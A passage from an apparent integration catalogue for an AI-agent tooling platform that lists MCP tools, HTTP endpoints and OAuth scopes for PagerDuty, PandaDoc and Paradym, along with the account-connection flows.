/v3/schedules/{id}/custom_shifts/{custom_shift_id} PUT /api/v1/pagerduty/v3/schedules/{id}/custom_shifts/{custom_shift_id}. Scopes: none. pagerduty_put_v3_schedules_by_id_overrides_by_override_id (write) — Update override via PUT /v3/schedules/{id}/overrides/{override_id} PUT /api/v1/pagerduty/v3/schedules/{id}/overrides/{override_id}. Scopes: none. pagerduty_put_v3_schedules_by_id_rotations_by_rotation_id_events_by_event_id (write) — Update event via PUT /v3/schedules/{id}/rotations/{rotation_id}/events/{event_id} PUT /api/v1/pagerduty/v3/schedules/{id}/rotations/{rotation_id}/events/{event_id}. Scopes: none. pagerduty_put_webhook_subscriptions_by_id (write) — Update webhook subscription via PUT /webhook_subscriptions/{id} PUT /api/v1/pagerduty/webhook_subscriptions/{id}. Scopes: webhook_subscriptions.write. pagerduty_put_webhook_subscriptions_oauth_clients_by_id (write) — Update oauth client via PUT /webhook_subscriptions/oauth_clients/{id} PUT /api/v1/pagerduty/webhook_subscriptions/oauth_clients/{id}. Scopes: none. ================================================================================ ## PandaDoc URL: https://www.agenticfabriq.com/integrations/panda_doc Section: Integrated Tools PandaDoc — 122 MCP tools Provider key: panda_doc. Scopes: read, write. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. panda_doc_delete_public_v1_contacts_by_id (write, destructive) — Delete Contact. DELETE /public/v1/contacts/{id} DELETE /api/v1/panda_doc/public/v1/contacts/{id}. Scopes: write. panda_doc_delete_public_v1_documents (write, destructive) — Bulk Delete Documents. DELETE /public/v1/documents DELETE /api/v1/panda_doc/public/v1/documents. Scopes: write. panda_doc_delete_public_v1_documents_by_document_id_sections_by_section_id (write, destructive) — Delete Section. DELETE /public/v1/documents/{document_id}/sections/{section_id} DELETE /api/v1/panda_doc/public/v1/documents/{document_id}/sections/{section_id}. Scopes: write. panda_doc_delete_public_v1_documents_by_id (write, destructive) — Delete Document. DELETE /public/v1/documents/{id} DELETE /api/v1/panda_doc/public/v1/documents/{id}. Scopes: write. panda_doc_delete_public_v1_documents_by_id_attachments_by_attachment_id (write, destructive) — Delete Document Attachment. DELETE /public/v1/documents/{id}/attachments/{attachment_id} DELETE /api/v1/panda_doc/public/v1/documents/{id}/attachments/{attachment_id}. Scopes: write. panda_doc_delete_public_v1_documents_by_id_linked_objects_by_linked_object_id (write, destructive) — Delete Linked Object. DELETE /public/v1/documents/{id}/linked-objects/{linked_object_id} DELETE /api/v1/panda_doc/public/v1/documents/{id}/linked-objects/{linked_object_id}. Scopes: write. panda_doc_delete_public_v1_documents_by_id_recipients_by_recipient_id (write, destructive) — Delete Document Recipient. DELETE /public/v1/documents/{id}/recipients/{recipient_id} DELETE /api/v1/panda_doc/public/v1/documents/{id}/recipients/{recipient_id}. Scopes: write. panda_doc_delete_public_v1_templates_by_id (write, destructive) — Delete Template. DELETE /public/v1/templates/{id} DELETE /api/v1/panda_doc/public/v1/templates/{id}. Scopes: write. panda_doc_delete_public_v1_webhook_subscriptions_by_id (write, destructive) — Delete Webhook Subscription. DELETE /public/v1/webhook-subscriptions/{id} DELETE /api/v1/panda_doc/public/v1/webhook-subscriptions/{id}. Scopes: write. panda_doc_delete_public_v1_workspaces_by_workspace_id_members_by_member_id (write, destructive) — Remove Member. DELETE /public/v1/workspaces/{workspace_id}/members/{member_id} DELETE /api/v1/panda_doc/public/v1/workspaces/{workspace_id}/members/{member_id}. Scopes: write. panda_doc_delete_public_v2_notary_notarization_requests_by_session_request_id (write, destructive) — Delete Notarization Request. DELETE /public/v2/notary/notarization-requests/{session_request_id} DELETE /api/v1/panda_doc/public/v2/notary/notarization-requests/{session_request_id}. Scopes: write. panda_doc_delete_public_v2_product_catalog_items_by_item_uuid (write, destructive) — Delete Catalog Item. DELETE /public/v2/product-catalog/items/{item_uuid} DELETE /api/v1/panda_doc/public/v2/product-catalog/items/{item_uuid}. Scopes: write. panda_doc_get_public_beta_documents_by_document_id_ai_metadata (read) — Get Document Ai Metadata. GET /public/beta/documents/{document_id}/ai-metadata GET /api/v1/panda_doc/public/beta/documents/{document_id}/ai-metadata. Scopes: read. panda_doc_get_public_beta_documents_by_document_id_content (read) — Get Document Content. GET /public/beta/documents/{document_id}/content GET /api/v1/panda_doc/public/beta/documents/{document_id}/content. Scopes: read. panda_doc_get_public_beta_documents_by_document_id_docx_export_tasks_by_task_id (read) — Get Docx Export Task. GET /public/beta/documents/{document_id}/docx-export-tasks/{task_id} GET /api/v1/panda_doc/public/beta/documents/{document_id}/docx-export-tasks/{task_id}. Scopes: read. panda_doc_get_public_beta_documents_by_document_id_summary (read) — Get Document Summary. GET /public/beta/documents/{document_id}/summary GET /api/v1/panda_doc/public/beta/documents/{document_id}/summary. Scopes: read. panda_doc_get_public_beta_documents_search (read) — Search Documents Ai. GET /public/beta/documents/search GET /api/v1/panda_doc/public/beta/documents/search. Scopes: read. panda_doc_get_public_beta_privacy_settings_workspaces_by_workspace_id (read) — Get Workspace Privacy Settings. GET /public/beta/privacy-settings/workspaces/{workspace_id} GET /api/v1/panda_doc/public/beta/privacy-settings/workspaces/{workspace_id}. Scopes: read. panda_doc_get_public_v1_contacts (read) — List Contacts. GET /public/v1/contacts GET /api/v1/panda_doc/public/v1/contacts. Scopes: read. panda_doc_get_public_v1_contacts_by_id (read) — Details Contact. GET /public/v1/contacts/{id} GET /api/v1/panda_doc/public/v1/contacts/{id}. Scopes: read. panda_doc_get_public_v1_content_library_items (read) — List Content Library Items. GET /public/v1/content-library-items GET /api/v1/panda_doc/public/v1/content-library-items. Scopes: read. panda_doc_get_public_v1_content_library_items_by_id (read) — Status Content Library Item. GET /public/v1/content-library-items/{id} GET /api/v1/panda_doc/public/v1/content-library-items/{id}. Scopes: read. panda_doc_get_public_v1_content_library_items_by_id_details (read) — Details Content Library Item. GET /public/v1/content-library-items/{id}/details GET /api/v1/panda_doc/public/v1/content-library-items/{id}/details. Scopes: read. panda_doc_get_public_v1_documents (read) — List Documents. GET /public/v1/documents GET /api/v1/panda_doc/public/v1/documents. Scopes: read. panda_doc_get_public_v1_documents_by_document_id_auto_reminders (read) — Get Document Auto Reminder Settings. GET /public/v1/documents/{document_id}/auto-reminders GET /api/v1/panda_doc/public/v1/documents/{document_id}/auto-reminders. Scopes: read. panda_doc_get_public_v1_documents_by_document_id_auto_reminders_status (read) — Status Document Auto Reminder. GET /public/v1/documents/{document_id}/auto-reminders/status GET /api/v1/panda_doc/public/v1/documents/{document_id}/auto-reminders/status. Scopes: read. panda_doc_get_public_v1_documents_by_document_id_esign_disclosure (read) — Document E Sign Disclosure. GET /public/v1/documents/{document_id}/esign-disclosure GET /api/v1/panda_doc/public/v1/documents/{document_id}/esign-disclosure. Scopes: read. panda_doc_get_public_v1_documents_by_document_id_sections (read) — List Sections. GET /public/v1/documents/{document_id}/sections GET /api/v1/panda_doc/public/v1/documents/{document_id}/sections. Scopes: read. panda_doc_get_public_v1_documents_by_document_id_sections_by_section_id (read) — Section Info. GET /public/v1/documents/{document_id}/sections/{section_id} GET /api/v1/panda_doc/public/v1/documents/{document_id}/sections/{section_id}. Scopes: read. panda_doc_get_public_v1_documents_by_document_id_sections_uploads_by_upload_id (read) — Section Details. GET /public/v1/documents/{document_id}/sections/uploads/{upload_id} GET /api/v1/panda_doc/public/v1/documents/{document_id}/sections/uploads/{upload_id}. Scopes: read. panda_doc_get_public_v1_documents_by_id (read) — Status Document. GET /public/v1/documents/{id} GET /api/v1/panda_doc/public/v1/documents/{id}. Scopes: read. panda_doc_get_public_v1_documents_by_id_attachments (read) — List Document Attachments. GET /public/v1/documents/{id}/attachments GET /api/v1/panda_doc/public/v1/documents/{id}/attachments. Scopes: read. panda_doc_get_public_v1_documents_by_id_attachments_by_attachment_id (read) — Details Document Attachment. GET /public/v1/documents/{id}/attachments/{attachment_id} GET /api/v1/panda_doc/public/v1/documents/{id}/attachments/{attachment_id}. Scopes: read. panda_doc_get_public_v1_documents_by_id_details (read) — Details Document. GET /public/v1/documents/{id}/details GET /api/v1/panda_doc/public/v1/documents/{id}/details. Scopes: read. panda_doc_get_public_v1_documents_by_id_fields (read) — List Document Fields. GET /public/v1/documents/{id}/fields GET /api/v1/panda_doc/public/v1/documents/{id}/fields. Scopes: read. panda_doc_get_public_v1_documents_by_id_linked_objects (read) — List Linked Objects. GET /public/v1/documents/{id}/linked-objects GET /api/v1/panda_doc/public/v1/documents/{id}/linked-objects. Scopes: read. panda_doc_get_public_v1_documents_folders (read) — List Document Folders. GET /public/v1/documents/folders GET /api/v1/panda_doc/public/v1/documents/folders. Scopes: read. panda_doc_get_public_v1_documents_linked_objects (read) — List Documents By Linked Object. GET /public/v1/documents/linked-objects GET /api/v1/panda_doc/public/v1/documents/linked-objects. Scopes: read. panda_doc_get_public_v1_forms (read) — List Form. GET /public/v1/forms GET /api/v1/panda_doc/public/v1/forms. Scopes: read. panda_doc_get_public_v1_logs (read) — List Logs. GET /public/v1/logs GET /api/v1/panda_doc/public/v1/logs. Scopes: read. panda_doc_get_public_v1_logs_by_id (read) — Details Log. GET /public/v1/logs/{id} GET /api/v1/panda_doc/public/v1/logs/{id}. Scopes: read. panda_doc_get_public_v1_members (read) — List Members. GET /public/v1/members GET /api/v1/panda_doc/public/v1/members. Scopes: read. panda_doc_get_public_v1_members_by_id (read) — Details Member. GET /public/v1/members/{id} GET /api/v1/panda_doc/public/v1/members/{id}. Scopes: read. panda_doc_get_public_v1_members_current (read) — Details Current Member. GET /public/v1/members/current GET /api/v1/panda_doc/public/v1/members/current. Scopes: read. panda_doc_get_public_v1_sms_opt_outs (read) — List Recent Sms Opt Outs. GET /public/v1/sms-opt-outs GET /api/v1/panda_doc/public/v1/sms-opt-outs. Scopes: read. panda_doc_get_public_v1_templates (read) — List Templates. GET /public/v1/templates GET /api/v1/panda_doc/public/v1/templates. Scopes: read. panda_doc_get_public_v1_templates_by_id (read) — Status Template. GET /public/v1/templates/{id} GET /api/v1/panda_doc/public/v1/templates/{id}. Scopes: read. panda_doc_get_public_v1_templates_by_id_details (read) — Details Template. GET /public/v1/templates/{id}/details GET /api/v1/panda_doc/public/v1/templates/{id}/details. Scopes: read. panda_doc_get_public_v1_templates_by_template_id_shares (read) — Get Template Shares. GET /public/v1/templates/{template_id}/shares GET /api/v1/panda_doc/public/v1/templates/{template_id}/shares. Scopes: read. panda_doc_get_public_v1_templates_folders (read) — List Template Folders. GET /public/v1/templates/folders GET /api/v1/panda_doc/public/v1/templates/folders. Scopes: read. panda_doc_get_public_v1_users (read) — List Users. GET /public/v1/users GET /api/v1/panda_doc/public/v1/users. Scopes: read. panda_doc_get_public_v1_users_by_user_id (read) — Details User. GET /public/v1/users/{user_id} GET /api/v1/panda_doc/public/v1/users/{user_id}. Scopes: read. panda_doc_get_public_v1_webhook_events (read) — List Webhook Event. GET /public/v1/webhook-events GET /api/v1/panda_doc/public/v1/webhook-events. Scopes: read. panda_doc_get_public_v1_webhook_events_by_id (read) — Details Webhook Event. GET /public/v1/webhook-events/{id} GET /api/v1/panda_doc/public/v1/webhook-events/{id}. Scopes: read. panda_doc_get_public_v1_webhook_subscriptions (read) — List Webhook Subscriptions. GET /public/v1/webhook-subscriptions GET /api/v1/panda_doc/public/v1/webhook-subscriptions. Scopes: read. panda_doc_get_public_v1_webhook_subscriptions_by_id (read) — Details Webhook Subscription. GET /public/v1/webhook-subscriptions/{id} GET /api/v1/panda_doc/public/v1/webhook-subscriptions/{id}. Scopes: read. panda_doc_get_public_v1_workspaces (read) — Get Workspaces List. GET /public/v1/workspaces GET /api/v1/panda_doc/public/v1/workspaces. Scopes: read. panda_doc_get_public_v2_documents_by_document_id_audit_trail (read) — List Document Audit Trail. GET /public/v2/documents/{document_id}/audit-trail GET /api/v1/panda_doc/public/v2/documents/{document_id}/audit-trail. Scopes: read. panda_doc_get_public_v2_documents_by_document_id_settings (read) — Document Settings Get. GET /public/v2/documents/{document_id}/settings GET /api/v1/panda_doc/public/v2/documents/{document_id}/settings. Scopes: read. panda_doc_get_public_v2_logs (read) — List Logs V2. GET /public/v2/logs GET /api/v1/panda_doc/public/v2/logs. Scopes: read. panda_doc_get_public_v2_logs_by_id (read) — Details Log V2. GET /public/v2/logs/{id} GET /api/v1/panda_doc/public/v2/logs/{id}. Scopes: read. panda_doc_get_public_v2_notary_notaries (read) — List Notaries. GET /public/v2/notary/notaries GET /api/v1/panda_doc/public/v2/notary/notaries. Scopes: read. panda_doc_get_public_v2_notary_notarization_requests (read) — List Notarization Requests. GET /public/v2/notary/notarization-requests GET /api/v1/panda_doc/public/v2/notary/notarization-requests. Scopes: read. panda_doc_get_public_v2_notary_notarization_requests_by_session_request_id (read) — Notarization Request Details. GET /public/v2/notary/notarization-requests/{session_request_id} GET /api/v1/panda_doc/public/v2/notary/notarization-requests/{session_request_id}. Scopes: read. panda_doc_get_public_v2_product_catalog_items_by_item_uuid (read) — Get Catalog Item. GET /public/v2/product-catalog/items/{item_uuid} GET /api/v1/panda_doc/public/v2/product-catalog/items/{item_uuid}. Scopes: read. panda_doc_get_public_v2_product_catalog_items_search (read) — Search Catalog Items. GET /public/v2/product-catalog/items/search GET /api/v1/panda_doc/public/v2/product-catalog/items/search. Scopes: read. panda_doc_get_public_v2_templates_by_template_id_settings (read) — Template Settings Get. GET /public/v2/templates/{template_id}/settings GET /api/v1/panda_doc/public/v2/templates/{template_id}/settings. Scopes: read. panda_doc_patch_public_beta_privacy_settings_workspaces_by_workspace_id (write) — Update Workspace Privacy Settings. PATCH /public/beta/privacy-settings/workspaces/{workspace_id} PATCH /api/v1/panda_doc/public/beta/privacy-settings/workspaces/{workspace_id}. Scopes: write. panda_doc_patch_public_beta_workspaces_by_workspace_id (write) — Update Workspace. PATCH /public/beta/workspaces/{workspace_id} PATCH /api/v1/panda_doc/public/beta/workspaces/{workspace_id}. Scopes: write. panda_doc_patch_public_v1_contacts_by_id (write) — Update Contact. PATCH /public/v1/contacts/{id} PATCH /api/v1/panda_doc/public/v1/contacts/{id}. Scopes: write. panda_doc_patch_public_v1_documents_by_document_id_auto_reminders (write) — Update Document Auto Reminder Settings. PATCH /public/v1/documents/{document_id}/auto-reminders PATCH /api/v1/panda_doc/public/v1/documents/{document_id}/auto-reminders. Scopes: write. panda_doc_patch_public_v1_documents_by_document_id_quotes (write) — Quotes Batch Update. PATCH /public/v1/documents/{document_id}/quotes PATCH /api/v1/panda_doc/public/v1/documents/{document_id}/quotes. Scopes: write. panda_doc_patch_public_v1_documents_by_id (write) — Update Document. PATCH /public/v1/documents/{id} PATCH /api/v1/panda_doc/public/v1/documents/{id}. Scopes: write. panda_doc_patch_public_v1_documents_by_id_fields (write) — Update Document Fields Assignment. PATCH /public/v1/documents/{id}/fields PATCH /api/v1/panda_doc/public/v1/documents/{id}/fields. Scopes: write. panda_doc_patch_public_v1_documents_by_id_ownership (write) — Transfer Document Ownership. PATCH /public/v1/documents/{id}/ownership PATCH /api/v1/panda_doc/public/v1/documents/{id}/ownership. Scopes: write. panda_doc_patch_public_v1_documents_by_id_recipients_recipient_by_recipient_id (write) — Edit Document Recipient. PATCH /public/v1/documents/{id}/recipients/recipient/{recipient_id} PATCH /api/v1/panda_doc/public/v1/documents/{id}/recipients/recipient/{recipient_id}. Scopes: write. panda_doc_patch_public_v1_documents_by_id_status (write) — Change Document Status. PATCH /public/v1/documents/{id}/status PATCH /api/v1/panda_doc/public/v1/documents/{id}/status. Scopes: write. panda_doc_patch_public_v1_documents_ownership (write) — Transfer All Documents Ownership. PATCH /public/v1/documents/ownership PATCH /api/v1/panda_doc/public/v1/documents/ownership. Scopes: write. panda_doc_patch_public_v1_templates_by_id (write) — Update Template. PATCH /public/v1/templates/{id} PATCH /api/v1/panda_doc/public/v1/templates/{id}. Scopes: write. panda_doc_patch_public_v1_webhook_subscriptions_by_id (write) — Update Webhook Subscription. PATCH /public/v1/webhook-subscriptions/{id} PATCH /api/v1/panda_doc/public/v1/webhook-subscriptions/{id}. Scopes: write. panda_doc_patch_public_v1_webhook_subscriptions_by_id_shared_key (write) — Update Webhook Subscription Shared Key. PATCH /public/v1/webhook-subscriptions/{id}/shared-key PATCH /api/v1/panda_doc/public/v1/webhook-subscriptions/{id}/shared-key. Scopes: write. panda_doc_patch_public_v1_workspaces_by_workspace_id_members_by_member_id_role (write) — Change Member Role. PATCH /public/v1/workspaces/{workspace_id}/members/{member_id}/role PATCH /api/v1/panda_doc/public/v1/workspaces/{workspace_id}/members/{member_id}/role. Scopes: write. panda_doc_patch_public_v2_documents_by_document_id_settings (write) — Document Settings Update. PATCH /public/v2/documents/{document_id}/settings PATCH /api/v1/panda_doc/public/v2/documents/{document_id}/settings. Scopes: write. panda_doc_patch_public_v2_product_catalog_items_by_item_uuid (write) — Update Catalog Item. PATCH /public/v2/product-catalog/items/{item_uuid} PATCH /api/v1/panda_doc/public/v2/product-catalog/items/{item_uuid}. Scopes: write. panda_doc_patch_public_v2_templates_by_template_id_settings (write) — Template Settings Update. PATCH /public/v2/templates/{template_id}/settings PATCH /api/v1/panda_doc/public/v2/templates/{template_id}/settings. Scopes: write. panda_doc_post_public_beta_documents_ai_metadata (write) — Batch Get Document Ai Metadata. POST /public/beta/documents/ai-metadata POST /api/v1/panda_doc/public/beta/documents/ai-metadata. Scopes: write. panda_doc_post_public_beta_documents_by_document_id_docx_export_tasks (write) — Create Export Docx Task. POST /public/beta/documents/{document_id}/docx-export-tasks POST /api/v1/panda_doc/public/beta/documents/{document_id}/docx-export-tasks. Scopes: write. panda_doc_post_public_v1_contacts (write) — Create Contact. POST /public/v1/contacts POST /api/v1/panda_doc/public/v1/contacts. Scopes: write. panda_doc_post_public_v1_content_library_items (write) — Create Content Library Item. POST /public/v1/content-library-items POST /api/v1/panda_doc/public/v1/content-library-items. Scopes: write. panda_doc_post_public_v1_documents (write) — Create Document. POST /public/v1/documents POST /api/v1/panda_doc/public/v1/documents. Scopes: write. panda_doc_post_public_v1_documents_by_document_id_sections_uploads (write) — Upload Section. POST /public/v1/documents/{document_id}/sections/uploads POST /api/v1/panda_doc/public/v1/documents/{document_id}/sections/uploads. Scopes: write. panda_doc_post_public_v1_documents_by_document_id_send_reminder (write) — Create Manual Reminder. POST /public/v1/documents/{document_id}/send-reminder POST /api/v1/panda_doc/public/v1/documents/{document_id}/send-reminder. Scopes: write. panda_doc_post_public_v1_documents_by_id_append_content_library_item (write) — Append Content Library Item To Document. POST /public/v1/documents/{id}/append-content-library-item POST /api/v1/panda_doc/public/v1/documents/{id}/append-content-library-item. Scopes: write. panda_doc_post_public_v1_documents_by_id_attachments (write) — Create Document Attachment. POST /public/v1/documents/{id}/attachments POST /api/v1/panda_doc/public/v1/documents/{id}/attachments. Scopes: write. panda_doc_post_public_v1_documents_by_id_draft (write) — Document Revert To Draft. POST /public/v1/documents/{id}/draft POST /api/v1/panda_doc/public/v1/documents/{id}/draft. Scopes: write. panda_doc_post_public_v1_documents_by_id_editing_sessions (write) — Create Document Editing Session. POST /public/v1/documents/{id}/editing-sessions POST /api/v1/panda_doc/public/v1/documents/{id}/editing-sessions. Scopes: write. panda_doc_post_public_v1_documents_by_id_fields (write) — Create Document Fields. POST /public/v1/documents/{id}/fields POST /api/v1/panda_doc/public/v1/documents/{id}/fields. Scopes: write. panda_doc_post_public_v1_documents_by_id_linked_objects (write) — Create Linked Object. POST /public/v1/documents/{id}/linked-objects POST /api/v1/panda_doc/public/v1/documents/{id}/linked-objects. Scopes: write. panda_doc_post_public_v1_documents_by_id_move_to_folder_by_folder_id (write) — Document Move To Folder. POST /public/v1/documents/{id}/move-to-folder/{folder_id} POST /api/v1/panda_doc/public/v1/documents/{id}/move-to-folder/{folder_id}. Scopes: write. panda_doc_post_public_v1_documents_by_id_recipients (write) — Add Document Recipient. POST /public/v1/documents/{id}/recipients POST /api/v1/panda_doc/public/v1/documents/{id}/recipients. Scopes: write. panda_doc_post_public_v1_documents_by_id_recipients_by_recipient_id_reassign (write) — Reassign Document Recipient. POST /public/v1/documents/{id}/recipients/{recipient_id}/reassign POST /api/v1/panda_doc/public/v1/documents/{id}/recipients/{recipient_id}/reassign. Scopes: write. panda_doc_post_public_v1_documents_by_id_send (write) — Send Document. POST /public/v1/documents/{id}/send POST /api/v1/panda_doc/public/v1/documents/{id}/send. Scopes: write. panda_doc_post_public_v1_documents_by_id_session (write) — Create Document Link. POST /public/v1/documents/{id}/session POST /api/v1/panda_doc/public/v1/documents/{id}/session. Scopes: write. panda_doc_post_public_v1_documents_folders (write) — Create Document Folder. POST /public/v1/documents/folders POST /api/v1/panda_doc/public/v1/documents/folders. Scopes: write. panda_doc_post_public_v1_members_by_member_id_token (write) — Create Member Token. POST /public/v1/members/{member_id}/token POST /api/v1/panda_doc/public/v1/members/{member_id}/token. Scopes: write. panda_doc_post_public_v1_templates (write) — Create Template. POST /public/v1/templates POST /api/v1/panda_doc/public/v1/templates. Scopes: write. panda_doc_post_public_v1_templates_by_id_duplicate (write) — Duplicate Template. POST /public/v1/templates/{id}/duplicate POST /api/v1/panda_doc/public/v1/templates/{id}/duplicate. Scopes: write. panda_doc_post_public_v1_templates_by_id_editing_sessions (write) — Create Template Editing Session. POST /public/v1/templates/{id}/editing-sessions POST /api/v1/panda_doc/public/v1/templates/{id}/editing-sessions. Scopes: write. panda_doc_post_public_v1_templates_folders (write) — Create Template Folder. POST /public/v1/templates/folders POST /api/v1/panda_doc/public/v1/templates/folders. Scopes: write. panda_doc_post_public_v1_users (write) — Create User. POST /public/v1/users POST /api/v1/panda_doc/public/v1/users. Scopes: write. panda_doc_post_public_v1_webhook_subscriptions (write) — Create Webhook Subscription. POST /public/v1/webhook-subscriptions POST /api/v1/panda_doc/public/v1/webhook-subscriptions. Scopes: write. panda_doc_post_public_v1_workspaces (write) — Create Workspace. POST /public/v1/workspaces POST /api/v1/panda_doc/public/v1/workspaces. Scopes: write. panda_doc_post_public_v1_workspaces_by_workspace_id_api_keys (write) — Create Api Key. POST /public/v1/workspaces/{workspace_id}/api-keys POST /api/v1/panda_doc/public/v1/workspaces/{workspace_id}/api-keys. Scopes: write. panda_doc_post_public_v1_workspaces_by_workspace_id_deactivate (write) — Deactivate Workspace. POST /public/v1/workspaces/{workspace_id}/deactivate POST /api/v1/panda_doc/public/v1/workspaces/{workspace_id}/deactivate. Scopes: write. panda_doc_post_public_v1_workspaces_by_workspace_id_members (write) — Add Member. POST /public/v1/workspaces/{workspace_id}/members POST /api/v1/panda_doc/public/v1/workspaces/{workspace_id}/members. Scopes: write. panda_doc_post_public_v2_dsv_by_document_id_add_named_items (write) — Add Dsv Named Items. POST /public/v2/dsv/{document_id}/add-named-items POST /api/v1/panda_doc/public/v2/dsv/{document_id}/add-named-items. Scopes: write. panda_doc_post_public_v2_notary_notarization_requests (write) — Create Notarization Request. POST /public/v2/notary/notarization-requests POST /api/v1/panda_doc/public/v2/notary/notarization-requests. Scopes: write. panda_doc_post_public_v2_product_catalog_items (write) — Create Catalog Item. POST /public/v2/product-catalog/items POST /api/v1/panda_doc/public/v2/product-catalog/items. Scopes: write. panda_doc_put_public_v1_documents_by_document_id_quotes_by_quote_id (write) — Quote Update. PUT /public/v1/documents/{document_id}/quotes/{quote_id} PUT /api/v1/panda_doc/public/v1/documents/{document_id}/quotes/{quote_id}. Scopes: write. panda_doc_put_public_v1_documents_folders_by_id (write) — Rename Document Folder. PUT /public/v1/documents/folders/{id} PUT /api/v1/panda_doc/public/v1/documents/folders/{id}. Scopes: write. panda_doc_put_public_v1_templates_by_template_id_shares (write) — Update Template Sharing Settings. PUT /public/v1/templates/{template_id}/shares PUT /api/v1/panda_doc/public/v1/templates/{template_id}/shares. Scopes: write. panda_doc_put_public_v1_templates_folders_by_id (write) — Rename Template Folder. PUT /public/v1/templates/folders/{id} PUT /api/v1/panda_doc/public/v1/templates/folders/{id}. Scopes: write. ================================================================================ ## Paradym URL: https://www.agenticfabriq.com/integrations/paradym Section: Integrated Tools Paradym — 96 MCP tools Provider key: paradym. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. paradym_delete_v1_wallets_by_walletid_attribute_providers_by_attributeproviderid (write, destructive) — Deletes an attribute provider. It is not possible to delete an attribute provider that is referenced by any credential template. First, disconnect the attribute provider from all relevant credential templates. via DELETE /v1/wallets/{walletId}/attribute-providers/{attributeProviderId} DELETE /api/v1/paradym/v1/wallets/{walletId}/attribute-providers/{attributeProviderId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_authorization_servers_by_authorizationserverid (write, destructive) — Deletes an authorization server. It is not possible to delete an authorization server that is referenced by any credential template. First, disconnect the authorization server from all relevant credential templates. via DELETE /v1/wallets/{walletId}/authorization-servers/{authorizationServerId} DELETE /api/v1/paradym/v1/wallets/{walletId}/authorization-servers/{authorizationServerId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_certificates_csrs_by_certificatesigningrequestid (write, destructive) — Delete a certificate signing request. via DELETE /v1/wallets/{walletId}/certificates/csrs/{certificateSigningRequestId} DELETE /api/v1/paradym/v1/wallets/{walletId}/certificates/csrs/{certificateSigningRequestId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_didcomm_connections_by_didcommconnectionid (write, destructive) — Delete a specific DIDComm connection by its id. via DELETE /v1/wallets/{walletId}/didcomm/connections/{didcommConnectionId} DELETE /api/v1/paradym/v1/wallets/{walletId}/didcomm/connections/{didcommConnectionId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_didcomm_invitations_by_didcomminvitationid (write, destructive) — Delete a specific DIDComm invitation by its id. via DELETE /v1/wallets/{walletId}/didcomm/invitations/{didcommInvitationId} DELETE /api/v1/paradym/v1/wallets/{walletId}/didcomm/invitations/{didcommInvitationId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_didcomm_mediators_by_didcommmediatorid_connections_by_didcommmediatorconnectionid (write, destructive) — Delete a mediator connection. If the connection has not been established yet, this will revoke the allowance for a mediator connection. If a connection has already been established, this will delete the conneciton and prevent the wallet from using the mediator going forward. via DELETE /v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}/connections/{didcommMediatorConnectionId} DELETE /api/v1/paradym/v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}/connections/{didcommMediatorConnectionId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_templates_credentials_anoncreds_by_credentialtemplateid (write, destructive) — Archive an `anoncreds` credential template by its id. via DELETE /v1/wallets/{walletId}/templates/credentials/anoncreds/{credentialTemplateId} DELETE /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/anoncreds/{credentialTemplateId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_templates_credentials_mdoc_by_credentialtemplateid (write, destructive) — Archive a specific `mdoc` credential template by its id. via DELETE /v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId} DELETE /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_templates_credentials_sd_jwt_vc_by_credentialtemplateid (write, destructive) — Archive a specific `sd-jwt-vc` credential template by its id. via DELETE /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId} DELETE /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_templates_presentations_by_presentationtemplateid (write, destructive) — Archive a specific presentation template by its id. via DELETE /v1/wallets/{walletId}/templates/presentations/{presentationTemplateId} DELETE /api/v1/paradym/v1/wallets/{walletId}/templates/presentations/{presentationTemplateId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_trusted_entities_by_trustedentityid (write, destructive) — Delete a trusted entity by its id. NOTE: If the trusted entity is referenced in any presentation template it is not possible to remove the entity. First, remove the trusted entity from all presentation templates that reference this trusted entity. via DELETE /v1/wallets/{walletId}/trusted-entities/{trustedEntityId} DELETE /api/v1/paradym/v1/wallets/{walletId}/trusted-entities/{trustedEntityId}. Scopes: api. paradym_delete_v1_wallets_by_walletid_webhooks_by_webhookid (write, destructive) — Delete a webhook by ID. via DELETE /v1/wallets/{walletId}/webhooks/{webhookId} DELETE /api/v1/paradym/v1/wallets/{walletId}/webhooks/{webhookId}. Scopes: api. paradym_get_v1_wallets (read) — Retrieve all wallets for the user associated with the API key being used for the request. ## Example An example query that searches for all wallets where the name includes "Example" and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets?search[name]=Example&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by 